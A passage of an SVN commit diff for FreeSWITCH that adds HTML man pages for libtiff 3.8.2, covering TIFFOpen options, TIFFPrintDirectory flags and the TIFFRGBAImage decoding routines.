+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFOpen</i> opens a <small>TIFF</small> file whose
+name is <i>filename</i> and returns a handle to be used in
+subsequent calls to routines in <i>libtiff</i>. If the open
+operation fails, then zero is returned. The <i>mode</i>
+parameter specifies if the file is to be opened for reading
+(&lsquo;&lsquo;r&rsquo;&rsquo;), writing
+(&lsquo;&lsquo;w&rsquo;&rsquo;), or appending
+(&lsquo;&lsquo;a&rsquo;&rsquo;) and, optionally, whether to
+override certain default aspects of library operation (see
+below). When a file is opened for appending, existing data
+will not be touched; instead new data will be written as
+additional subfiles. If an existing file is opened for
+writing, all previous data is overwritten.</p>
+<!-- INDENTATION -->
+<p>If a file is opened for reading, the first
+<small>TIFF</small> directory in the file is automatically
+read (also see <i>TIFFSetDirectory</i>(3TIFF) for reading
+directories other than the first). If a file is opened for
+writing or appending, a default directory is automatically
+created for writing subsequent data. This directory has all
+the default values specified in <small>TIFF</small> Revision
+6.0: <i>BitsPerSample</i>=1, <i>ThreshHolding</i>=bilevel
+art scan, <i>FillOrder</i>=1 (most significant bit of each
+data byte is filled first), <i>Orientation</i>=1 (the 0th
+row represents the visual top of the image, and the 0th
+column represents the visual left hand side),
+<i>SamplesPerPixel</i>=1, <i>RowsPerStrip</i>=infinity,
+<i>ResolutionUnit</i>=2 (inches), and <i>Compression</i>=1
+(no compression). To alter these values, or to define values
+for additional fields, <i>TIFFSetField</i>(3TIFF) must be
+used.</p>
+<!-- INDENTATION -->
+<p><i>TIFFFdOpen</i> is like <i>TIFFOpen</i> except that it
+opens a <small>TIFF</small> file given an open file
+descriptor <i>fd</i>. The file&rsquo;s name and mode must
+reflect that of the open descriptor. The object associated
+with the file descriptor <b>must support random
+access</b>.</p>
+<!-- INDENTATION -->
+<p><i>TIFFClientOpen</i> is like <i>TIFFOpen</i> except that
+the caller supplies a collection of functions that the
+library will use to do <small>UNIX</small> -like I/O
+operations. The <i>readproc</i> and <i>writeproc</i> are
+called to read and write data at the current file position.
+<i>seekproc</i> is called to change the current file
+position a la <i>lseek</i>(2). <i>closeproc</i> is invoked
+to release any resources associated with an open file.
+<i>sizeproc</i> is invoked to obtain the size in bytes of a
+file. <i>mapproc</i> and <i>unmapproc</i> are called to map
+and unmap a file&rsquo;s contents in memory; c.f.
+<i>mmap</i>(2) and <i>munmap</i>(2). The <i>clientdata</i>
+parameter is an opaque &lsquo;&lsquo;handle&rsquo;&rsquo;
+passed to the client-specified routines passed as parameters
+to <i>TIFFClientOpen</i>.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The open mode parameter can include the following flags
+in addition to the &lsquo;&lsquo;r&rsquo;&rsquo;,
+&lsquo;&lsquo;w&rsquo;&rsquo;, and
+&lsquo;&lsquo;a&rsquo;&rsquo; flags. Note however that
+option flags must follow the read-write-append
+specification.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>l</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>When creating a new file force information be written
+with Little-Endian byte order (but see below). By default
+the library will create new files using the native
+<small>CPU</small> byte order.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>b</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>When creating a new file force information be written
+with Big-Endian byte order (but see below). By default the
+library will create new files using the native
+<small>CPU</small> byte order.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>L</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Force image data that is read or written to be treated
+with bits filled from Least Significant Bit (
+<small>LSB</small> ) to Most Significant Bit (
+<small>MSB</small> ). Note that this is the opposite to the
+way the library has worked from its inception.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>B</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Force image data that is read or written to be treated
+with bits filled from Most Significant Bit (
+<small>MSB</small> ) to Least Significant Bit (
+<small>LSB</small> ); this is the default.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>H</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Force image data that is read or written to be treated
+with bits filled in the same order as the native
+<small>CPU.</small></p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>M</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Enable the use of memory-mapped files for images opened
+read-only. If the underlying system does not support
+memory-mapped files or if the specific image being opened
+cannot be memory-mapped then the library will fallback to
+using the normal system interface for reading information.
+By default the library will attempt to use memory-mapped
+files.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>m</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Disable the use of memory-mapped files.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>C</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Enable the use of &lsquo;&lsquo;strip
+chopping&rsquo;&rsquo; when reading images that are
+comprised of a single strip or tile of uncompressed data.
+Strip chopping is a mechanism by which the library will
+automatically convert the single-strip image to multiple
+strips, each of which has about 8 Kilobytes of data. This
+facility can be useful in reducing the amount of memory used
+to read an image because the library normally reads each
+strip in its entirety. Strip chopping does however alter the
+apparent contents of the image because when an image is
+divided into multiple strips it looks as though the
+underlying file contains multiple separate strips. Finally,
+note that default handling of strip chopping is a
+compile-time configuration parameter. The default behaviour,
+for backwards compatibility, is to enable strip
+chopping.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>c</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Disable the use of strip chopping when reading
+images.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>h</b></p>
+</td>
+<td width="6%"></td>
+<td width="80%">
+
+<p>Read TIFF header only, do not load the first image
+directory. That could be useful in case of the broken first
+directory. We can open the file and proceed to the other
+directories.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="BYTE ORDER"></a>
+<h2>BYTE ORDER</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The <small>TIFF</small> specification (<b>all
+versions</b>) states that compliant readers <i>must be
+capable of reading images written in either byte order</i>.
+Nonetheless some software that claims to support the reading
+of <small>TIFF</small> images is incapable of reading images
+in anything but the native <small>CPU</small> byte order on
+which the software was written. (Especially notorious are
+applications written to run on Intel-based machines.) By
+default the library will create new files with the native
+byte-order of the <small>CPU</small> on which the
+application is run. This ensures optimal performance and is
+portable to any application that conforms to the TIFF
+specification. To force the library to use a specific
+byte-order when creating a new file the
+&lsquo;&lsquo;b&rsquo;&rsquo; and
+&lsquo;&lsquo;l&rsquo;&rsquo; option flags may be included
+in the call to open a file; for example,
+&lsquo;&lsquo;wb&rsquo;&rsquo; or
+&lsquo;&lsquo;wl&rsquo;&rsquo;.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Upon successful completion <i>TIFFOpen</i>,
+<i>TIFFFdOpen</i>, and <i>TIFFClientOpen</i> return a
+<small>TIFF</small> pointer. Otherwise, NULL is
+returned.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine. Likewise, warning messages
+are directed to the <i>TIFFWarning</i>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>&quot;%s&quot;: Bad mode</b>. The specified
+<i>mode</i> parameter was not one of
+&lsquo;&lsquo;r&rsquo;&rsquo; (read),
+&lsquo;&lsquo;w&rsquo;&rsquo; (write), or
+&lsquo;&lsquo;a&rsquo;&rsquo; (append).</p>
+<!-- INDENTATION -->
+<p><b>%s: Cannot open</b>. <i>TIFFOpen</i>() was unable to
+open the specified filename for read/writing.</p>
+<!-- INDENTATION -->
+<p><b>Cannot read TIFF header</b>. An error occurred while
+attempting to read the header information.</p>
+<!-- INDENTATION -->
+<p><b>Error writing TIFF header</b>. An error occurred while
+writing the default header information for a new file.</p>
+<!-- INDENTATION -->
+<p><b>Not a TIFF file, bad magic number %d (0x%x)</b>. The
+magic number in the header was not (hex) 0x4d4d or (hex)
+0x4949.</p>
+<!-- INDENTATION -->
+<p><b>Not a TIFF file, bad version number %d (0x%x)</b>. The
+version field in the header was not 42 (decimal).</p>
+<!-- INDENTATION -->
+<p><b>Cannot append to file that has opposite byte
+ordering</b>. A file with a byte ordering opposite to the
+native byte ordering of the current machine was opened for
+appending (&lsquo;&lsquo;a&rsquo;&rsquo;). This is a
+limitation of the library.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>libtiff</i>(3TIFF), <i>TIFFClose</i>(3TIFF)</p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFPrintDirectory.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFPrintDirectory.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFPrintDirectory.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFPrintDirectory.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFPrintDirectory.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,225 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:09 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFPrintDirectory</title>
+</head>
+<body>
+
+<h1 align=center>TIFFPrintDirectory</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFPrintDirectory &minus; print a description of a
+<small>TIFF</small> directory</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>void TIFFPrintDirectory(TIFF *</b><i>tif</i><b>, FILE
+*</b><i>fd</i><b>, long</b> <i>flags</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFPrintDirectory</i> prints a description of the
+current directory in the specified <small>TIFF</small> file
+to the standard I/O output stream <i>fd</i>. The
+<i>flags</i> parameter is used to control the <i>level of
+detail</i> of the printed information; it is a bit-or of the
+flags defined in <b>tiffio.h</b>:</p></td>
+</table>
+<!-- TABS -->
+
+<p>#define TIFFPRINT_NONE 0x0 /* no extra info */</p>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="1%">
+
+<p>#define</p>
+</td>
+<td width="30%">
+
+<p>TIFFPRINT_STRIPS</p>
+</td>
+<td width="10%">
+
+<p>0x1</p>
+</td>
+<td width="48%">
+
+<p>/* strips/tiles info */</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="1%">
+
+<p>#define</p>
+</td>
+<td width="30%">
+
+<p>TIFFPRINT_CURVES</p>
+</td>
+<td width="10%">
+
+<p>0x2</p>
+</td>
+<td width="48%">
+
+<p>/* color/gray response curves */</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="1%">
+
+<p>#define</p>
+</td>
+<td width="30%">
+
+<p>TIFFPRINT_COLORMAP</p>
+</td>
+<td width="10%">
+
+<p>0x4</p>
+</td>
+<td width="48%">
+
+<p>/* colormap */</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="1%">
+
+<p>#define</p>
+</td>
+<td width="30%">
+
+<p>TIFFPRINT_JPEGQTABLES</p>
+</td>
+<td width="10%">
+
+<p>0x100</p>
+</td>
+<td width="48%">
+
+<p>/* JPEG Q matrices */</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="1%">
+
+<p>#define</p>
+</td>
+<td width="30%">
+
+<p>TIFFPRINT_JPEGACTABLES</p>
+</td>
+<td width="10%">
+
+<p>0x200</p>
+</td>
+<td width="48%">
+
+<p>/* JPEG AC tables */</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="1%">
+
+<p>#define</p>
+</td>
+<td width="30%">
+
+<p>TIFFPRINT_JPEGDCTABLES</p>
+</td>
+<td width="10%">
+
+<p>0x200</p>
+</td>
+<td width="48%">
+
+<p>/* JPEG DC tables */</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>In C++ the <i>flags</i> parameter defaults to 0.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>None.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>None.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>libtiff</i>(3TIFF), <i>TIFFOpen</i>(3TIFF),
+<i>TIFFReadDirectory</i>(3TIFF),
+<i>TIFFSetDirectory</i>(3TIFF)</p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFRGBAImage.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFRGBAImage.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFRGBAImage.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFRGBAImage.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFRGBAImage.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,319 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:10 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFRGBAImage</title>
+</head>
+<body>
+
+<h1 align=center>TIFFRGBAImage</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#ALTERNATE RASTER FORMATS">ALTERNATE RASTER FORMATS</a><br>
+<a href="#SIMULTANEOUS RASTER STORE AND DISPLAY">SIMULTANEOUS RASTER STORE AND DISPLAY</a><br>
+<a href="#SUPPORTING ADDITIONAL TIFF FORMATS">SUPPORTING ADDITIONAL TIFF FORMATS</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFRGBAImageOK, TIFFRGBAImageBegin, TIFFRGBAImageGet,
+TIFFRGBAImageEnd &minus; read and decode an image into a
+raster</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>typedef unsigned char TIFFRGBValue; typedef struct
+_TIFFRGBAImage TIFFRGBAImage;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFRGBAImageOK(TIFF *</b><i>tif</i><b>, char</b>
+<i>emsg[1024]</i><b>)<br>
+int TIFFRGBAImageBegin(TIFFRGBAImage *</b><i>img</i><b>,
+TIFF*</b> <i>tif</i><b>, int</b> <i>stopOnError</i><b>,
+char</b> <i>emsg[1024]</i><b>)<br>
+int TIFFRGBAImageGet(TIFFRGBAImage *</b><i>img</i><b>,
+uint32*</b> <i>raster</i><b>, uint32</b> <i>width</i> <b>,
+uint32</b> <i>height</i><b>)<br>
+void TIFFRGBAImageEnd(TIFFRGBAImage
+*</b><i>img</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The routines described here provide a high-level
+interface through which <small>TIFF</small> images may be
+read into memory. Images may be strip- or tile-based and
+have a variety of different characteristics: bits/sample,
+samples/pixel, photometric, etc. Decoding state is
+encapsulated in a <i>TIFFRGBAImage</i> structure making it
+possible to capture state for multiple images and quickly
+switch between them. The target raster format can be
+customized to a particular application&rsquo;s needs by
+installing custom routines that manipulate image data
+according to application requirements.</p>
+<!-- INDENTATION -->
+<p>The default usage for these routines is: check if an
+image can be processed using <i>TIFFRGBAImageOK</i>,
+construct a decoder state block using
+<i>TIFFRGBAImageBegin</i>, read and decode an image into a
+target raster using <i>TIFFRGBAImageGet</i>, and then
+release resources using <i>TIFFRGBAImageEnd</i>.
+<i>TIFFRGBAImageGet</i> can be called multiple times to
+decode an image using different state parameters. If
+multiple images are to be displayed and there is not enough
+space for each of the decoded rasters, multiple state blocks
+can be managed and then calls can be made to
+<i>TIFFRGBAImageGet</i> as needed to display an image.</p>
+<!-- INDENTATION -->
+<p>The generated raster is assumed to be an array of
+<i>width</i> times <i>height</i> 32-bit entries, where
+<i>width</i> must be less than or equal to the width of the
+image (<i>height</i> may be any non-zero size). If the
+raster dimensions are smaller than the image, the image data
+is cropped to the raster bounds. If the raster height is
+greater than that of the image, then the image data are
+placed in the lower part of the raster. (Note that the
+raster is assume to be organized such that the pixel at
+location (<i>x</i>,<i>y</i>) is
+<i>raster</i>[<i>y</i>*<i>width</i>+<i>x</i>]; with the
+raster origin in the <b>lower-left</b> hand corner.)</p>
+<!-- INDENTATION -->
+<p>Raster pixels are 8-bit packed red, green, blue, alpha
+samples. The macros <i>TIFFGetR</i>, <i>TIFFGetG</i>,
+<i>TIFFGetB</i>, and <i>TIFFGetA</i> should be used to
+access individual samples. Images without Associated Alpha
+matting information have a constant Alpha of 1.0 (255).</p>
+<!-- INDENTATION -->
+<p><i>TIFFRGBAImageGet</i> converts non-8-bit images by
+scaling sample values. Palette, grayscale, bilevel,
+<small>CMYK</small> , and YCbCr images are converted to
+<small>RGB</small> transparently. Raster pixels are returned
+uncorrected by any colorimetry information present in the
+directory.</p>
+<!-- INDENTATION -->
+<p>The parameter <i>stopOnError</i> specifies how to act if
+an error is encountered while reading the image. If
+<i>stopOnError</i> is non-zero, then an error will terminate
+the operation; otherwise <i>TIFFRGBAImageGet</i> will
+continue processing data until all the possible data in the
+image have been requested.</p>
+</td>
+</table>
+<a name="ALTERNATE RASTER FORMATS"></a>
+<h2>ALTERNATE RASTER FORMATS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>To use the core support for reading and processing
+<small>TIFF</small> images, but write the resulting raster
+data in a different format one need only override the
+&lsquo;&lsquo;<i>put methods</i>&rsquo;&rsquo; used to store
+raster data. These methods are are defined in the
+<i>TIFFRGBAImage</i> structure and initially setup by
+<i>TIFFRGBAImageBegin</i> to point to routines that pack
+raster data in the default <small>ABGR</small> pixel format.
+Two different routines are used according to the physical
+organization of the image data in the file:
+<i>PlanarConfiguration</i>=1 (packed samples), and
+<i>PlanarConfiguration</i>=2 (separated samples). Note that
+this mechanism can be used to transform the data before
+storing it in the raster. For example one can convert data
+to colormap indices for display on a colormap display.</p>
+</td>
+</table>
+<a name="SIMULTANEOUS RASTER STORE AND DISPLAY"></a>
+<h2>SIMULTANEOUS RASTER STORE AND DISPLAY</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>It is simple to display an image as it is being read into
+memory by overriding the put methods as described above for
+supporting alternate raster formats. Simply keep a reference
+to the default put methods setup by
+<i>TIFFRGBAImageBegin</i> and then invoke them before or
+after each display operation. For example, the
+<i>tiffgt</i>(1) utility uses the following put method to
+update the display as the raster is being filled:</p>
+<!-- INDENTATION -->
+<pre>static void
+putContigAndDraw(TIFFRGBAImage* img, uint32* raster,
+    uint32 x, uint32 y, uint32 w, uint32 h,
+    int32 fromskew, int32 toskew,
+    unsigned char* cp)
+{
+    (*putContig)(img, raster, x, y, w, h, fromskew, toskew, cp);
+    if (x+w == width) {
+     w = width;
+     if (img-&gt;orientation == ORIENTATION_TOPLEFT)
+         lrectwrite(0, y-(h-1), w-1, y, raster-x-(h-1)*w);
+     else
+         lrectwrite(0, y, w-1, y+h-1, raster);
+    }
+}
+</pre>
+<!-- INDENTATION -->
+<p>(the original routine provided by the library is saved in
+the variable <i>putContig</i>.)</p>
+</td>
+</table>
+<a name="SUPPORTING ADDITIONAL TIFF FORMATS"></a>
+<h2>SUPPORTING ADDITIONAL TIFF FORMATS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The <i>TIFFRGBAImage</i> routines support the most
+commonly encountered flavors of <small>TIFF.</small> It is
+possible to extend this support by overriding the
+&lsquo;&lsquo;<i>get method</i>&rsquo;&rsquo; invoked by
+<i>TIFFRGBAImageGet</i> to read <small>TIFF</small> image
+data. Details of doing this are a bit involved, it is best
+to make a copy of an existing get method and modify it to
+suit the needs of an application.</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Samples must be either 1, 2, 4, 8, or 16 bits.
+Colorimetric samples/pixel must be either 1, 3, or 4 (i.e.
+<i>SamplesPerPixel</i> minus <i>ExtraSamples</i>).</p>
+<!-- INDENTATION -->
+<p>Palette image colormaps that appear to be incorrectly
+written as 8-bit values are automatically scaled to
+16-bits.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All routines return 1 if the operation was successful.
+Otherwise, 0 is returned if an error was encountered and
+<i>stopOnError</i> is zero.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>Sorry, can not handle %d-bit pictures</b>. The image
+had <i>BitsPerSample</i> other than 1, 2, 4, 8, or 16.</p>
+<!-- INDENTATION -->
+<p><b>Sorry, can not handle %d-channel images</b>. The image
+had <i>SamplesPerPixel</i> other than 1, 3, or 4.</p>
+<!-- INDENTATION -->
+<p><b>Missing needed &quot;PhotometricInterpretation&quot;
+tag</b>. The image did not have a tag that describes how to
+display the data.</p>
+<!-- INDENTATION -->
+<p><b>No &quot;PhotometricInterpretation&quot; tag, assuming
+RGB</b>. The image was missing a tag that describes how to
+display it, but because it has 3 or 4 samples/pixel, it is
+assumed to be <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>No &quot;PhotometricInterpretation&quot; tag, assuming
+min-is-black</b>. The image was missing a tag that describes
+how to display it, but because it has 1 sample/pixel, it is
+assumed to be a grayscale or bilevel image.</p>
+<!-- INDENTATION -->
+<p><b>No space for photometric conversion table</b>. There
+was insufficient memory for a table used to convert image
+samples to 8-bit <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>Missing required &quot;Colormap&quot; tag</b>. A
+Palette image did not have a required <i>Colormap</i>
+tag.</p>
+<!-- INDENTATION -->
+<p><b>No space for tile buffer</b>. There was insufficient
+memory to allocate an i/o buffer.</p>
+<!-- INDENTATION -->
+<p><b>No space for strip buffer</b>. There was insufficient
+memory to allocate an i/o buffer.</p>
+<!-- INDENTATION -->
+<p><b>Can not handle format</b>. The image has a format
+(combination of <i>BitsPerSample</i>,
+<i>SamplesPerPixel</i>, and
+<i>PhotometricInterpretation</i>) that can not be
+handled.</p>
+<!-- INDENTATION -->
+<p><b>No space for B&amp;W mapping table</b>. There was
+insufficient memory to allocate a table used to map
+grayscale data to <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>No space for Palette mapping table</b>. There was
+insufficient memory to allocate a table used to map data to
+8-bit <small>RGB.</small></p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF), <b>TIFFReadRGBAImage</b>(3TIFF),
+<b>TIFFReadRGBAImageOriented</b>(3TIFF),
+<b>TIFFReadRGBAStrip</b>(3TIFF),
+<b>TIFFReadRGBATile</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

